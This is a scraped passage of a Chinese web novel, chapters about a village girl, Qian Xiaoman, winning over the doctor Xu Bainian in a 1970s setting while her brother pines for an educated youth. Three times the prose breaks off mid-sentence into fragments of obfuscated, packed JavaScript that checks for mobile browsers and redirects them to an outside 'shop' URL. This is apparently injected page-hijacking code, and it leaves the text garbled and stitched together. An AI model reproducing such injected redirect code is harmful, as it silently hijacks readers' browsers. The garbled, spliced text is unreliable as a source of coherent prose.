钱小满大概猜到了。她和文知雅说话时窗户半掩着,院子里静悄悄的,她哥回来,大概率是听见了。 安慰的话说不出口,她蹑手蹑脚带上门出去,给哥哥留一点独处的空间。 钱金宝一躺就是一整天。 晚饭的时候,姚红霞在院里喊了好几声,他才慢吞吞地从屋里出来,沉默地坐在桌前,拿起馍咬了一口,机械地咀嚼,一口菜没碰。 钱多来看他一眼:“咋了?没胃口?” “嗯,不太饿。”钱金宝两口吃完,又回屋了。 姚红霞盯着他的背影,转头看向钱小满,眼神里满是询问:“你哥咋回事?” 钱小满心里同样不好受,又不知道该怎么说,只能含糊地糊弄母亲:“可能是太累了。” 第二天,钱金宝没去出工。 他躺在炕上,眼睛空洞地盯着屋顶。 钱小满端着饭菜进来,见他这副样子,心里一酸:“哥,你起来吃点东西。” “不饿。” 钱金宝翻了个身,背对着她。 钱小满把碗放在炕桌上,坐在炕沿上,沉默了一会儿,终于忍不住开口:“哥,你是不是听见我跟文知雅说话了?” 钱金宝没反应。 钱小满搅着手指头:“人家目标明确,一心只想回城,你留不住她的。”她知道以后知青能返城的消息,她哥稍微用点手段就能得到文知雅,她不想那么做,她哥和文知雅之间的差距不仅仅是农村和城市那么简单。 钱金宝坐起来,靠在墙上。 “我知道。”他声音沙哑。 “你知道还这样?”钱小满急了,“哥,你条件又不差,咱们村多少姑娘盯着你呢,哪个不想嫁你?你何必非得在她一棵树上吊死?” 钱金宝摇了摇头,眼神里带着执拗:“我不要别人。” 钱小满怒其不争:“为啥?她到底有啥好的?你跟她才见过几面?你了解她吗?你知道她心里想啥吗?” 钱金宝又躺了回去,把脸转向墙壁:“你别管我了,我自己有数。” 钱小满坐在炕沿上,哥哥蜷成一团的背影单薄又落寞,她鼻子一酸。她哥的性子,一旦认定了,就不会轻易放弃。 钱金宝听见门关上的声音,才把脸埋进枕头里。 他知道自己配不上她。他没文化,不会说好听的话,给不了她想要的生活。偏偏他就是控制不住自己,就是想对她好,哪怕她不需要,哪怕这份好从来都得不到回应。 他盯着屋顶,眼神里渐渐有了光亮。 他不会放弃的。 她不喜欢他,没关系。只要她还在村里一天,他就要对她好一天。等她考上大学回了城,他就不缠着她了。 在那之前,他做不到不管她,做不到放下她。 钱金宝闭上眼睛,脑子里又浮现出她楚楚可怜的样子。 他这辈子,怕是栽在这只小兔子身上了。 12. 想要就要得到 周末,振国振兴过来补习,照例自带伙食,还捎了两条猪后臀肉。其中一条是姚金玉特意交代的,给许柏年的辛苦费。怕他不肯收,于是让孩子捎话,只要收下这块肉,这学期就不再另给补习钱了。 两个孩子尝到了学习好的甜头,在学校被老师哄着捧着,一坐下来就埋头写,完全不需要催促。 为了近水楼台先得月,跟许柏年制造相处机会,钱小满照旧坐在旁边陪着孩子们写作业。她最近正为她哥的事烦恼,文知雅说得那么直白干脆,她哥还是死心眼总往知青点跑。 她用铅笔在草稿纸上乱画一通,再用橡皮擦全擦干净。画了擦,擦了画,来来回回,还是心烦。 许柏年给振兴讲完一道应用题,抬头看了她一眼。 “你今天怎么了?” 钱小满冷不丁被他一问:“什么怎么了?” “你一直在叹气。”许柏年放下笔,静静望着她,“出什么事了?” 她满肚子的烦躁,找不到人倾诉。杏花劝她想开点,但她钻了牛角尖,她飞快扫了眼振国振兴,两个孩子正埋头做题,没人注意他们。 “许医生,我问你个事。”钱小满压低了声音。 “说。” “你觉得,一个人要是明知道跟另一个人不会有结果,还死乞白赖地往上贴,是不是傻?” 许柏年深深看了她一眼,想起近来村里的流言,约莫猜透了她的心思:“你说你哥?” 钱小满重重点头,语气里满是恨铁不成钢:“文知雅上次来我家,把话说得很清楚。她的目标是考大学回城,绝对不会留在乡下,跟我哥更是不可能。我哥亲耳听见了,还是不肯放弃,你说他是不是脑子拎不清?” 许柏年沉默片刻,指尖轻叩着桌面:“你哥怎么说的?” “他就说,他不要别人,会一直守着文知雅,等她回城了才肯放手。”钱小满学着钱金宝的语气,说完忍不住皱眉,“你说他傻不傻?人家把话说到那份上了,他还非要继续纠缠,有什么意思?” 许柏年陷入沉思,手指在桌沿敲了两下,缓声问:“你哥喜欢她什么?” 钱小满仔细想了想,如实说道:“他说文知雅很可怜,想对她好,想让她别再哭了。” 许柏年嘴角动了动,似有笑意,又很快敛了回去。 “你笑什么?”钱小满立刻瞪向他,语气带着几分气闷。 “没笑。”许柏年收起神色,认真问道,“你觉得,这不算理由?” “这算什么理由?”钱小满急了,不由得抬高音量,又赶紧压了下去,“就因为看起来可怜就想娶人家?那全天下可怜的人多了去了,他都娶回来吗?” 许柏年没有直接回答,他忽而反问:“那你觉得,两个人在一起,应该看什么?” 钱小满瞬间被问住了。 她想说门当户对,可话到嘴边又觉得不对。她跟许柏年之间不就是她想高攀吗。她图他能回城,图他将来能当教授,图能跟着他过上城里人的日子,她一门心思想上嫁。正因如此,她才更不懂,她哥到底图什么。 “反正……不能光看可怜吧。”她憋了好一会儿,终于挤出一句话。 许柏年望着她,眼里带着一丝说不清的意味。 “你哥想对她好,不是因为她可怜,是因为他舍不得让她受委屈。这两件事,不一样。” 钱小满似懂非懂,拧着眉头琢磨片刻,没完全想明白,又觉得这话没毛病。 “你怎么帮他说话?”她有些不高兴,鼓着腮帮子问,“你站哪边的?” “我站道理这边。”许柏年语气依旧平淡,“你哥喜欢一个人,想真心对她好,这没错;文知雅想考大学回城,不想留在乡下也没错。两个人只是所求不同,没有谁对谁错。” 钱小满被这番话堵得哑口无言,心里的烦躁更甚,语气带着赌气的成分:“照你这么说,我哥就该耗着?明知道没结果还往上扑,等人家将来回城了,说不定连他是谁都不记得了。” 梦里发生的事已经告诉了她答案,两个观念不同的人强行绑在一起,跟不上的那个最后会被毫不留情地抛下。她和许柏年吵架他从不还嘴,只是沉默,后来回城第一件事就是离婚。她不懂他的世界,他也从未想过让她懂。 她绝不能让她哥重蹈梦里的覆辙。到时候文知雅回城,找个知识分子结婚,她哥耽误了最好的年纪,连媳妇都娶不上,那才是真的可怜。 许柏年耐着性子劝导:“你哥是心智成熟的成年人,他清楚自己在做什么,你着急没用。” 钱小满听了这话,更来气了。她哥要是有脑子,她至于急得上火吗?亏许柏年是个大学生,说的话跟杏花一模一样,一点忙都帮不上。 她鼓着腮帮子,气呼呼地瞪着他,脑海中忽然灵光一闪。既然解决不了她哥的事,不如先解决自己的人生大事。 “许医生,那我问你。”她话锋一转,直直地盯着他,“你既然觉得我哥追求文知雅没错,那你为什么不喜欢我?” 许柏年手里转着的笔倏地停住,眼里满是疑惑:“谁跟你说我不喜欢你?”他的语气听不出情绪,仿佛置身事外一样。 钱小满被他的回答弄得一愣,心跳漏了一拍,下意识追问:“那你喜欢我?” 许柏年垂下眼,把笔放下:“你问得太突然了。” “这有什么突然的?”钱小满不依不饶,“一开始我就跟你说过,让你以身相许。你心里应该清楚,我从头到尾都在追你,你不可能不知道。” 许柏年沉默了片刻,声音轻缓:“我现在知道了。” “你怎么想的?”钱小满心跳不由得加快。 “我没想过。” 钱小满不可置信地瞪大眼睛:“没想过?我对你那么好,你竟然从来没想过?” 她的脸涨得通红,嘴唇紧紧抿着,水润的眼眸里泛起水光,仿佛下一秒就要哭出来。 许柏年无奈地叹了口气,语气里带着不易察觉的动容:“我以为你只是嘴上说说。”相处这些日子,他早已看清她的鲜活与善良,所以才不敢深想。这样明媚热烈的姑娘,怎么会看上沉闷无趣的他。这个念头在心底一闪而过,他没有说出口。 “许柏年,你这个人真没意思。”钱小满气极反笑,“我追了你这么久,就算是根木头,也该有点反应了吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478219|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你想让我说什么?”许柏年望着她泛红的眼眶,语气软了下来。 “说你喜欢我啊!”钱小满脱口而出,说完自己的脸先烧了起来,却依旧倔强地迎着他的目光,“你就说一句,你喜欢我。” 许柏年眼里闪过复杂的情绪,惊讶、动容,还有无措。她实在太胆大了,胆大到让他无从招架。 “我不能随便说这种话。”他轻声道。 “为什么?” “说了就要负责任。” 钱小满彻底愣住了,她没料到他会说出这句话,心里的火气消了大半,只剩下不知所措的悸动。 “那你现在想想,”她鼓起勇气,凑到他面前,双手撑在桌沿上,定定地盯着他的眼睛,“想好了告诉我,你到底喜欢不喜欢我?” 振国振兴不知道何时悄悄停下笔,两个小脑袋齐刷刷地抬起来,亮晶晶的眼睛盯着两个大人,脸上满是藏不住的吃瓜表情。 许柏年扫了他们一眼:“做题。” 两个孩子立刻把头埋回去,耳朵却竖得高高的,生怕漏听了重要信息。 许柏年拿起笔,在纸上写下一行字:“知止而后有定,定而后能静。” 这是《大学》里的句子,他用来平心静气的法子。写完之后他盯着那行字看了两秒,觉得讽刺。他现在既不知止,也定不下来,更谈不上静。于是拿起笔,重重划掉了。 “你让我想想。”他缓缓开口。 “想什么?喜欢不喜欢我还要想?”钱小满有些着急,又不敢把人逼得太紧。 许柏年没回答,只是低头摩挲着笔杆。 钱小满盯着他看了片刻,站起身。 “行,你想吧,我出去一趟,给你三天时间。”她说完转身就走,到门口又停下脚步,回头问他,“三天够不够?” 许柏年鬼使神差地开口:“够了。” “许柏年,我等你,你别让我等太久。”她语气委屈,说完就离开了家里。 院子里安静下来。 振国抬起头,小心翼翼地询问:“许老师,小姨让你想什么呀?” 许柏年没回答,低头看着草稿纸上被划掉的字迹。 他拒绝过她,从一开始就明确拒绝。他刻意保持距离,从来不主动,以为自己把态度摆得足够坚决,她迟早会放弃。 可她不在乎,还是往他面前凑。她太缠人了,缠到他不知道该怎么拒绝了。 钱小满一出家门,脸上看着平静如常,只有自己知道心跳得有多厉害。 刚走出几步,她一下子拔腿跑了起来。跑得飞快,辫子在身后甩动,裙摆迎着风舞动,她再也绷不住冷静,嘴角不受控制地往上扬,越跑笑得越厉害。 她一口气跑到山脚下,扶着树干弯着腰喘气。她不是临时有事出门,是害羞得待不住了,心里兴奋得快要炸开。 许柏年不是对她没意思,他不是不心动,这跟梦里的发展完全不一样。梦里是她死缠烂打、逼得他退无可退才结婚,现在她居然真的把他捂热了,真的让他动了心。 她抱着树干,忍不住笑个不停。真是的,害什么羞啊,喜欢就是喜欢,想要就要得到。 13. 又不是没穿裤子 接下来的两天,钱小满干活时动不动就傻笑,任谁都能看出她身上有好事发生。 这天午后,村里组织腰鼓队排练,准备年底公社汇演,要是表现得好,正月十五还能去省城表演。 李杏花跑来找钱小满,拉着她一块儿去看热闹。 钱小满本来不想去,她还等着许柏年的答案,今天是第三天了。李杏花非要拉上她一起去,杏花的哥哥也在腰鼓队,家里让她去送饭,她一个人不好意思,拽着钱小满作伴。 “你就陪我去嘛,”李杏花挎着篮子,里面装着两个黑面馍和一碗咸菜,“我一个人去,那些男的净拿我开玩笑。你也给金宝哥捎一份,他俩都在队里呢。” 钱小满见她一脸央求的样子,心想多在村里到处走动,说不定还能偶遇许柏年,当即往兜里揣了两个玉米面馍,跟着杏花一起去了。 打谷场上热闹得很。腰鼓队的汉子们排成两排,正跟着鼓点扭腰踢腿,红绸在腰间飘来飘去,脚下踩着的黄土随着鼓点扬起漫天烟尘。 周边围了不少看热闹的婆姨女子,说说笑笑,有的抱着娃,有的纳着鞋底,眼睛都往场中间瞟。 钱小满和李杏花在人群后方找了个不显眼的位置坐下,把篮子放在脚边。杏花的哥哥李槐树眼尖,一眼就看见了妹妹,冲她挥了挥手,又继续敲鼓。 “你哥劲儿真大,”钱小满瞥了眼场中间的赤膊汉子,随口说了一句,“你看他胳膊上的肉,一坨一坨的。” 李杏花脸一红,推了她一把:“你瞎看啥呢!” “我看咋了?又不是没穿裤子。”钱小满理直气壮,眼睛却没从场上移开,看得津津有味。 鼓声停了,带队的喊了一声歇息,汉子们散开休息。 他们一个个热得满头大汗,褂子被汗水浸透。有人干脆一把扯掉上衣,赤着膀子蹲在树荫下喝水歇气,汗水沿着古铜色的脊背往下淌,在阳光下亮晶晶的,放眼望去全是结实的肌肉。 钱小满和李杏花凑在一块儿,小声嘀咕起来。 “强军哥平时看起来瘦瘦的,衣服脱了还挺有肉。”李杏花压低声音,说完自己先红了脸。 “哪呢?”钱小满顺着她的目光看过去,仔细端详一番,撇了撇嘴,“他不行。肩膀太窄了,像个白条鸡。你看他那腰跟水蛇似的,还没我腰粗。这种表面看着结实,其实没啥力气,真下了地,扛两袋粮食就得累趴下。” 李杏花被她逗笑了:“你咋这么挑呢?” “我这叫会看。”钱小满扬了扬下巴。 李杏花又往场中间瞟了一眼,拉了拉她的袖子:“你看那个站树底下的,隔壁村的赵宽,咋样?” 钱小满顺着她指的方向看过去,一个高个子壮汉正蹲在树荫下喝水,膀大腰圆,胳膊上的肌肉能砸死一头牛。 钱小满端详了一番,摇摇头:“更不行。脖子上的肉都快跟脸连在一起了,这种人走路都大喘气,更别说干活了。你以为他壮实,其实是一身虚肉,还费粮食。” 李杏花噗嗤笑了:“你这嘴也太毒了。” “我说真的,”钱小满一本正经,“你找男人不能光看块头大。块头大有啥用?中看不中用。得像那种,不胖不瘦,但身上有劲儿,脑子还灵活。” 李杏花目光搜寻一圈,指向一个正在系腰鼓带的:“这个总该符合你的要求吧,不胖不瘦。” 钱小满看了一眼,摇头:“哎呀,你看他腿,又短又粗,上身长下身短,而且他是蒜头鼻、小眼睛,这种人嫁过去生的娃都不好看。” 李杏花努力憋住笑:“你小声点,让人听见了!” “怕啥,我又没说错。”钱小满不以为意,眼睛在场上扫了一圈,“站边上的那个,看见没?” “哪个?” “就那个,一直在练习的那个。身材倒是可以,就是他跳的跟木头桩子似的,不灵活。腰鼓打得跟敲铁皮一样,光有蛮劲没有巧劲。这种人只会出死力气,性子呆板无趣,跟他吵架都吵不起来。” 李杏花捂着嘴笑个不停:“你今天咋了?跟平时不一样,平时你哪关注这些。” 钱小满正了正脸色,凑到李杏花耳边:“我跟你说,你可别被这些人蒙了眼。找男人不是光看一面,得看整体。身材好脸不好不行,脸好身材不好也不行,光有力气没脑子更不行。咱们条件又不差,凭啥随便挑一个就嫁了!” 李杏花被她这一番话说得一愣一愣的:“你眼光什么时候变得这么高了?” 钱小满脑子里闪过许柏年的样子:“反正你听我的,不能凑合。你看咱村里那些嫁了人的,有几个过得舒心的?天天为了柴米油盐吵,男人还不疼人。你得找个对你好的,还得是你看得顺眼的。” 李杏花若有所思地点点头,又忽然问:“你觉得,什么样的才算看得顺眼?” 钱小满心里跳出一个人来,嘴上却说:“反正不是这些敲腰鼓的,你要是想知道,明天来我家,我让你看看什么才是优质结婚人选。” 三哥上次寄回来的军装照,他穿着一身军装,那身板和精气神比这些敲腰鼓的强了不知道多少倍。 等三哥休假回来,一定要让他好好在杏花面前露个脸。杏花这么好的姑娘,可不能随随便便嫁了。三哥从小就长得俊俏,个子也高,在部队练了两年,身材肯定比庄稼汉强多了。到时候两个人一见面,杏花就知道什么叫好男人了。 “小满?”李杏花见她发愣,推了推她,“你想啥呢?” “没、没啥。”钱小满回过神,语重心长道:“你记住我的话啊,好饭不怕晚。你看我不也没急吗?别急着相看人家,好的在后面呢。” 李杏花看了她一眼,忽然笑了:“我明白了。你是有了许医生做对比,所以看谁都不顺眼,对不对?” 钱小满脸一下子红了:“你胡说什么!” “我才没胡说,”李杏花笑着戳她的胳膊,“你刚才说身材好脸不好不行,脸好身材不好也不行,那许医生是脸好还是身材好?还是都好?” 钱小满被问得又羞又急,伸手去捂她的嘴:“你再胡说我就回去了!” 李杏花躲开了,笑得更厉害了。 两个姑娘正闹着,旁边一个大娘听见了,笑着喊了一嗓子:“小满,你们俩小姑娘嘀嘀咕咕说啥呢?是不是看上谁了?” 这一嗓子把周围人的目光都引了过来。 腰鼓队的几个汉子也听见了,其中一个跟钱金宝关系不错的笑嘻嘻冲钱小满大喊:“小满妹子,别光躲在后面看,大大方方站出来,看中哪个了跟哥说,哥给你牵线!” 其他几个也跟着起哄,口哨声、调笑声混在一起。:“就是就是,咱们这腰鼓队可都是精壮后生,你们随便挑!” 钱小满一点儿也不怵,她猛地站起身,双手叉腰,扬着下巴回怼:“真自恋,谁说我来看你们了?你们这些糙汉子我还不稀罕看呢!我喜欢有文化的,你们学历还没我高,空有一身蛮力还好意思在这儿显摆?” 李杏花在底下拉她的衣角,小声说:“你收敛点,别让你哥听见了。” 钱金宝和李槐树这会儿不在,不知道什么时候回来。 钱小满不管,继续怼他们:“敲个鼓就把你们能的,以前都没人要,别人不要的我也不要。” 几个汉子被她说得哑口无言,面面相觑,又笑了起来:“小满这丫头嘴还是这么厉害,行行行,我们不说了。” 钱小满这才坐下,拍了拍裤子上的土,嘴里抱怨着:“他们怎么好意思的,脸皮比城墙还厚,一群糙老爷们,连许柏年一根头发丝都比不上。” 她说这话的时候声音不大,只有旁边的李杏花听见了。李杏花捅了捅她的胳膊,挤眉弄眼:“哦~原来你是这个心思。” 钱小满脸一红,嘴硬道:“什么心思?我就是说实话。” “行了行了,我知道了。”李杏花笑得眼睛弯弯的,怕她害羞没再追问。 两个人又坐了一会儿,等钱金宝和李槐树解完手回来,把饭送给他们,就结伴回去了。 钱小满不知道的是,她们刚才那些话,全被一个人听了去。 许柏年去给村里一个行动不便的老人上门看病,回来的时候路过打谷场。他远远听见腰鼓声,并没在意。可走到近处,他听见了钱小满的声音,她的声音他太熟悉了,在熟人面前黏黏糊糊像撒娇似的。 他脚步慢了下来,鬼使神差地站到了一棵树后面。 他看见钱小满和李杏花坐在场边,脑袋凑在一起,不知道在说什么。两个姑娘笑得眉眼弯弯的,时不时瞥一眼中间,一副评头论足的模样。他顺着她们的目光看过去,是一群赤着膀子敲鼓的汉子,一个个汗津津的,在太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“奶奶,爷爷,”他犹豫片刻,还是开口说了,“我喜欢上了一个姑娘。” 许奶奶笑了:“是支书家的小闺女吧?” 许柏年抬起头,不明白奶奶怎么知道的。 “我又不瞎,”许奶奶笑眯眯道,“那姑娘隔三差五往这儿跑,帮我干活,嘴上说是来看我,你以为我看不出来?她是冲你来的。” 许柏年低下头,嘴角微微上翘。 “小姑娘挺好的,”许奶奶拉着孙子的手,语气慈祥,“热心肠,不嫌弃我们老两口住这破窑洞,每次来都带吃的。这样的姑娘,不多见了。” 许爷爷脸上的表情没许奶奶那么轻松。 “你想好了?钱家那姑娘?性子是泼辣了点,人倒不坏。就是……咱们家这情况,寻常人都不敢往上凑,钱家那边未必愿意把姑娘许给你。 许柏年沉默片刻。 “我不知道,但我不能因为人家不同意,就不敢喜欢。” 许爷爷看了他一眼,无奈地叹了口气:“你小子,跟你爹一个脾气。” 许奶奶瞪了老伴一眼,又转头看向孙子:“阿年,你要是真想跟小满处对象,再到结婚那一步,以后想回城可就难了。娶了农村姑娘,安了家,队上不会轻易放你走的。” 许柏年抬眼,目光坚定,没有半分迟疑。 “我想好了。” “家人在哪儿,家就在哪儿。回不回城,无所谓。”爷爷奶□□发花白,这辈子不一定还能回城,他不可能抛下他们。 许奶奶眼里满是欣慰,摸了摸他的脑袋:“想好了就成。感情的事,自己拿主意,爷爷奶奶都支持你。” 许爷爷深深看了他一眼,重重叹了口气:“人家要是愿意跟你好,我们不拦着。但你得想清楚,别害了人家。” 窑洞里安静了一会儿。 他站起来道别:“我回去了,爷爷奶奶。” “路上慢点。”许奶奶送到门口,目送他走远,才转身回了窑洞。 天快黑了,远处打谷场上的腰鼓声已经停了。秋天的晚霞把云彩染成橘红色,一层一层铺开来,像打翻了颜料罐。 他本来还想再想想的,忽然觉得不用再想了。 他喜欢她。 心甘情愿,也愿意负责。 他加快脚步,走了一半又顿住,竟不知道该往哪去。他只是想走一走,把心里翻涌的情绪压下去。 可怎么都压不住。 14. 你以后就是我的了 从打谷场回来,天空渐渐暗了下来。 远处的窑洞升起袅袅炊烟,各家各户都在准备晚饭。 钱小满和李杏花在岔路口分开,慢吞吞地往家走。心里从早上就悬着的期待,跟着天色一点点沉了下去。 钱小满站在家门口,没立马进去。院子里亮着灯,姚红霞在厨房里叮叮当当地炒菜,锅铲碰铁锅的声音传出来,她闻到了最爱的炒鸡蛋的香气。 一切都跟平时没什么两样。 她蔫蔫地推开自家院门,刚想进屋,就听见身后传来一声轻唤。 “钱小满。” 声音不高,清清冷冷的,是她这几天听了无数遍、熟得不能再熟的嗓音。 钱小满猛地回头。 暮色里,许柏年站在院门口,身姿挺拔,在昏黄的天光下显得格外清隽。他似乎走了一段不短的路,气息微喘,眼神落在她身上,带着几分她读不懂的认真与郑重。 钱小满一下子忘了刚才的失落,心跳乱了几拍,嘴巴先于脑子开口:“你、你怎么来了?” 许柏年往前走了两步,停在离她不远的地方,手里提着一个布兜,看不清里面装的什么。 “三天到了。” 钱小满心跳得更厉害了,脸上烧得慌,嘴上不饶人:“你还知道三天到了?天都黑了才来,我以为你不来了。” 许柏年没解释,把布兜递给她:“给。” 钱小满接过来打开,是白糖糕。白白的,圆圆的,上面撒着桂花,闻着甜丝丝的。 “你从哪儿弄的?”她愣住了。 “托人帮忙带的。”许柏年说,“你不是说想尝尝吗?” 钱小满捧着布兜,手指头在纸包上捏来捏去,不知道为什么眼睛有点酸酸的。她之前说想尝尝白糖糕,就是好奇,没想到他记住了。 她仰头看他,他神色依旧清淡,看不出太多情绪,可钱小满并不在意。 她直截了当地开口:“许柏年,你想好了没有?”说完屏住呼吸,眼睛一眨不眨地盯着他。 许柏年目光坚定地回望着她:“想好了。” “那你喜不喜欢我?” 许柏年垂了垂眼眸,声音很轻:“我不讨厌你。” 钱小满等了三天,就等来这么一句,差点气笑:“不讨厌是什么意思?” “不讨厌就是……”许柏年顿住,重新抬眸看向她,语气依旧含蓄,没有半句甜言蜜语,态度格外认真,“你在的时候,我不觉得烦;你不在的时候,总会下意识盼着你来。” 钱小满怔住,随即整个人都亮了。 她听懂了。 他没说喜欢,但句句都是喜欢。 “许柏年,你再说一遍。”她声音发颤,满心期待地想再确认一次。 许柏年耳尖泛红,偏过脸:“不说了。” “你说嘛,就再说一遍。” “不说了。” 钱小满盯着他看了片刻,忍不住笑出声。她顾不上姑娘家的矜持,径直扑进了他怀里。 许柏年完全没反应过来,人已经被她抱住。 软乎乎的身子撞过来,带着少女身上干净清爽的气息,还混着淡淡的香甜。 她的脑袋抵在他胸口,撞得他往后退了半步。他整个人瞬间僵住,双手悬在半空,不知该往哪儿放。他浑身紧绷,连呼吸都慢了半拍。长这么大,他从来没有和人这样亲近过,更别说被一个姑娘主动扑进怀里。 钱小满把脸埋在他胸前,嘴角压不住地往上扬,心里乐开了花。鼻尖萦绕着他身上淡淡的药皂气息,心跳快得不像话,脸上烫得像着了火,她不想松手。 成功了!真的成功了! 她才没空想什么情情爱爱,脑子里只有一个念头。 这下好了,她真的抓住许柏年了。等将来他回城,她就能跟着一起去。 她的目的,达成了! 许柏年僵了好一阵,悬在半空的手才缓缓落下,极笨拙地搭在她背上。他不会抱人,手掌轻轻贴着她后背,动也不敢动,生怕稍一用力就碰碎了她。 怀里的人暖暖的、软软的,像一小团火,烘热了他全身。 他低下头,下巴抵在她头顶上,闭了一会儿眼。 院子里很安静,厨房里姚红霞还在炒菜。 钱小满在他怀里蹭了蹭,软声开口:“许柏年,你以后就是我的了。” 许柏年没说话,揽着她的手悄悄紧了紧。 “你得对我好。” “嗯。” “不许欺负我。” “嗯。” “我要过好日子,你得让我过好日子。” 许柏年抬手,在她背上轻抚了一下:“好。” 钱小满把脸埋得更深了,嘴角翘了起来,她终于能过上好日子了,想到这儿,心里美滋滋的,完全没意识到,刚才扑进他怀里的时候,是发自内心地想靠近他。 许柏年站在院子里,安安静静地抱着她。晚风从山塬上吹下来,带着些许凉意,他抱紧了怀里小姑娘,一点也不冷。 他想,这辈子,大概就是她了。 第二天一早,李杏花就来了。 她拎着个小竹篮,里面装得满满的冬枣。她家院里种着两棵枣树,一到这个季节就结得满枝都是,全家吃不完。冬枣不能多吃,吃多了胀肚子不消化,只好摘下来四处送人。 钱小满正在院子里搓苞谷,看见她来,拍拍手站起身。 “你来得正好,帮我搓苞谷。” “我可不是来给你干活的。”李杏花嘴上这么说,人已经挨着她坐下,拿起一根苞谷搓了起来。 两人坐在树下,一边忙活一边唠嗑。姚红霞在屋里缝尿素袋子,时不时往院子里瞥一眼,并不打扰她们。 小姑娘挨在一起,凑在一块儿叽叽咕咕:“小满,昨天许医生是不是找你了?” 钱小满脸一红:“你咋知道的?” “我猜的。”李杏花眉眼弯弯,“你昨天从打谷场回去时还蔫蔫的,今天嘴角都快咧到耳根了。除了许医生,谁还有这么大本事?” 钱小满被她说得不好意思,抓起一把苞谷粒朝她扔过去:“你再胡说!” 李杏花笑着躲开,又挨过来:“你跟我说说嘛,他跟你说了啥?” “就不告诉你。”钱小满嘴硬,可脸上藏不住的欢喜,明眼人都看得出来。 李杏花见她这副春心萌动的样子,也不追问了,低头继续搓苞谷。 搓着搓着,她忽然想起来:“小满,你昨天说让我来你家看什么优质结婚人选,该不会是骗我的吧?” 钱小满一拍大腿:“你不说我都忘了!你等着!” 她跑进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478221|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋,翻箱倒柜乱找一通,拿着照片递给李杏花:“你看看。” 李杏花接过,照片上是个年轻军人,一身军装利落挺拔,大檐帽衬得眉目端正,宽肩细腰,浓眉大眼,笑得一身正气。 “这是……”她微怔,片刻才反应过来,“这不是你三哥吗?” “对啊,”钱小满凑过来,眼睛亮晶晶的,“怎么样?是不是一表人才?” 李杏花脸颊一烫,忙不迭把照片塞回她手里,仿佛是什么烫手山芋:“你给我看你三哥干啥?我又不是不认识他。” “你再仔细看看。”钱小满又把照片塞回她手里,“你比比昨天那些糙汉子,是不是强太多了?” 李杏花垂着眼不肯接,目光忍不住往照片上飘。 “我三哥哪哪都好,人长得周正,在部队表现也好,将来转业还能分配工作。就是吧……”她故意拖长了声音。 “就是什么?”李杏花好奇抬眼。 “就是缺个媳妇。”钱小满忍不住打趣。 李杏花瞬间羞红了脸,伸手打她:“你胡说什么呢!谁要给他当媳妇!” 钱小满笑着躲开,乐得不行。 李杏花埋着头搓苞谷,直至指尖发热,才小声开口:“你三哥从小就爱欺负我。每次来你家,不是揪我辫子,就是往我手里塞小虫子,把我吓哭了还笑我是哭包。” 钱小满在心里默默扶额:三哥啊三哥,你可真缺德。喜欢人家就好好说嘛,欺负人家干啥?难怪杏花到现在都不知道你的心思。 嘴上还是要替三哥挽尊的:“那都是小时候不懂事。他现在早成熟了,在部队都当上连长了,手底下管着好些人呢。你看照片上,多稳重。” 李杏花没应声,目光悄悄落在照片上。 钱小满趁热打铁:“杏花,我跟你说真的,找对象就得找我三哥这样的。盘亮条顺,有正经工作,人还靠谱。你可别随便将就,眼光放高点。” “像你三哥那样的?”李杏花看她一眼,“他一年都不一定回来一次,我上哪儿碰去?” “他今年休假就回来了呀!”钱小满连忙接话,“到时候你们见见面,聊聊天,说不定……” “说不定什么?”李杏花瞪她。 “说不定你就看顺眼了。”钱小满笑得狡黠。 李杏花不再说话,手里的苞谷搓得飞快,耳根越来越红。 钱小满知道她害羞,也不逼她,只反复叮嘱道:“反正你记住了啊,别随便找些歪瓜裂枣把自己打发了。” 李杏花被她逗笑:“你当然不急,许医生都被你迷住了。” “李杏花!”钱小满抓起一把苞谷粒又朝她扔过去。 李杏花笑着躲闪,两个姑娘在树下闹成一团。 闹够了,李杏花站起身,拍掉身上的苞谷须:“我得回去了,家里还等着我做饭呢。” “行,路上慢点。”钱小满送她到院门口。 李杏花走了几步,又回过头,轻声问:“你三哥……大概什么时候休假?” 钱小满当即喜上眉梢:“快了,也就这一两个月的事。” 李杏花点点头,转身走了。 钱小满站在院门口,笑得合不拢嘴。 她在心里默默念叨:三哥,我能帮的都帮到这儿了,等你回来可得争气点,可别再把杏花吓跑了。 15. 偷腥的小猫 确认关系后的日子,钱小满整个人像泡在蜜罐里,感觉城里的美好生活已经在朝自己招手。 她干活时哼着歌,走路时哼着歌,就连吃完饭收拾碗筷的时候都忍不住哼两句。 钱金宝瞧着纳闷,往日里耍赖躲懒不肯洗碗的主儿,怎么突然这么勤快?难不成吃错药了? 钱小满一早起来照镜子,对着镜里的自己傻笑半天,笑完才后知后觉地愣神,到底有什么好笑的? 她对着镜子故意板起脸,装出一副凝重模样,下一秒又忍不住噗嗤笑出声。她连忙捂住嘴,对着镜子精心打扮一番,又理了理衣裳才出门。 去卫生室的路上,她脚步轻快,辫子在身后一甩一甩,跟她的心情一样雀跃。到了门口,她没直接进去,先趴在窗沿外偷偷往里看。 